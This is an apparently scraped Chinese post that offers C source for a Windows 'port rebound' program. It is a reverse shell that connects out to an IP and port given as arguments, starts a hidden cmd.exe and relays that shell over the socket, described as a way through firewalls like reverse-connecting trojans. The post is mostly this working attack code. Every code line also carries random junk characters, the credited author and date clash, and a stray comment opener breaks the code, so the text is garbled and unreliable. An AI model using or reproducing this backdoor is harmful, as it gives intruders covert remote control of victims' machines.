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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X9`C2fyVd  
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/* ============================== FLnAN;  
Rebound port in Windows NT wM&x8 <  
By wind,2006/7 fvBC9^3  
===============================*/ zl8\jP  
#include I(kIHjV|  
#include ) ImIPSL  
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#pragma comment(lib,"wsock32.lib") R^O)fL0_  
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void OutputShell(); ;eEtdoy  
SOCKET sClient; H2_>Av{m  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Zz*mf+  
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void main(int argc,char **argv) %Ja{IWz9L  
{ Hr,lA(  
WSADATA stWsaData; ZxeE6&#M^w  
int nRet;  F-\8f(\  
SOCKADDR_IN stSaiClient,stSaiServer; N{z(|2{A#  
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if(argc != 3) (Gk]<`d#N  
{ G@I_6c E  
printf("Useage:\n\rRebound DestIP DestPort\n"); x 3co?  
return; _nFvM'`<  
} 2uR4~XjF  
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WSAStartup(MAKEWORD(2,2),&stWsaData); LYT<o FE-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F4{. 7BT  
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stSaiClient.sin_family = AF_INET; )PNH| h  
stSaiClient.sin_port = htons(0); 8uD%]k=#!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <^c0bY1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "uER a(i  
{ w]YyU5rhS  
printf("Bind Socket Failed!\n"); ej53O/hP  
return; .0;k|&eBD  
} cZF;f{t  
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stSaiServer.sin_family = AF_INET; ]T$w7puaJ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6]A\8Ty  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lfhKZX  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WG=r? xE  
{ LO*a>9LI  
printf("Connect Error!"); 5:3$VWLa <  
return; krY.Cc]  
} WjxBNk'f  
OutputShell(); 8r|  
} :H:}t>X6Vo  
/*2W?ZM~H  
void OutputShell() ^ /eSby  
{ |2` $g  
char szBuff[1024]; 6 FxndR;  
SECURITY_ATTRIBUTES stSecurityAttributes; KFG^vmrn  
OSVERSIONINFO stOsversionInfo; e7AI&5Eg{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Uy'ZL(2  
STARTUPINFO stStartupInfo; " yl"A4p S  
char *szShell; `X03Q[:q"[  
PROCESS_INFORMATION stProcessInformation; &I_!&m~  
unsigned long lBytesRead; r<H^%##,w  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I{UB!0H  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <.XoC?j  
stSecurityAttributes.lpSecurityDescriptor = 0; ,(?4T~  
stSecurityAttributes.bInheritHandle = TRUE; AQGE(%X  
& b2(Y4  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xH-k~#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (?wKBUi  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #`wfl9tj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F<<H [,%0  
stStartupInfo.wShowWindow = SW_HIDE; 6j![m+vo%  
stStartupInfo.hStdInput = hReadPipe; l),13"?C(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 32'9Ch.  
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GetVersionEx(&stOsversionInfo); / UBAQ8TR  
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switch(stOsversionInfo.dwPlatformId) 0n^j 50Yq  
{ J=bOw//  
case 1: dL"i\5#%A  
szShell = "command.com"; "2j~3aWj  
break; !t{!.  
default: ozwqK oE  
szShell = "cmd.exe"; y`Y}P1y*  
break; 0 1w/,r  
} c=E.-  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FJ. :*K[  
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send(sClient,szMsg,77,0); 9Dkgu ^`  
while(1) k(^b  
{ f}d@G/L  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YH$`r6\S  
if(lBytesRead) \dbtd hT;Z  
{ g-uFss  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'm ((G4  
send(sClient,szBuff,lBytesRead,0); *Y?]="8c#;  
} f 8U;T$)  
else DzOJ{dF  
{ ~qxc!k!w4  
lBytesRead=recv(sClient,szBuff,1024,0); q@> m~R  
if(lBytesRead<=0) break; t')I c6.?i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Stx-(Kfn4  
} .6(i5K  
} l,8| E  
#r}c<?>Vw  
return; (P_+m#  
}
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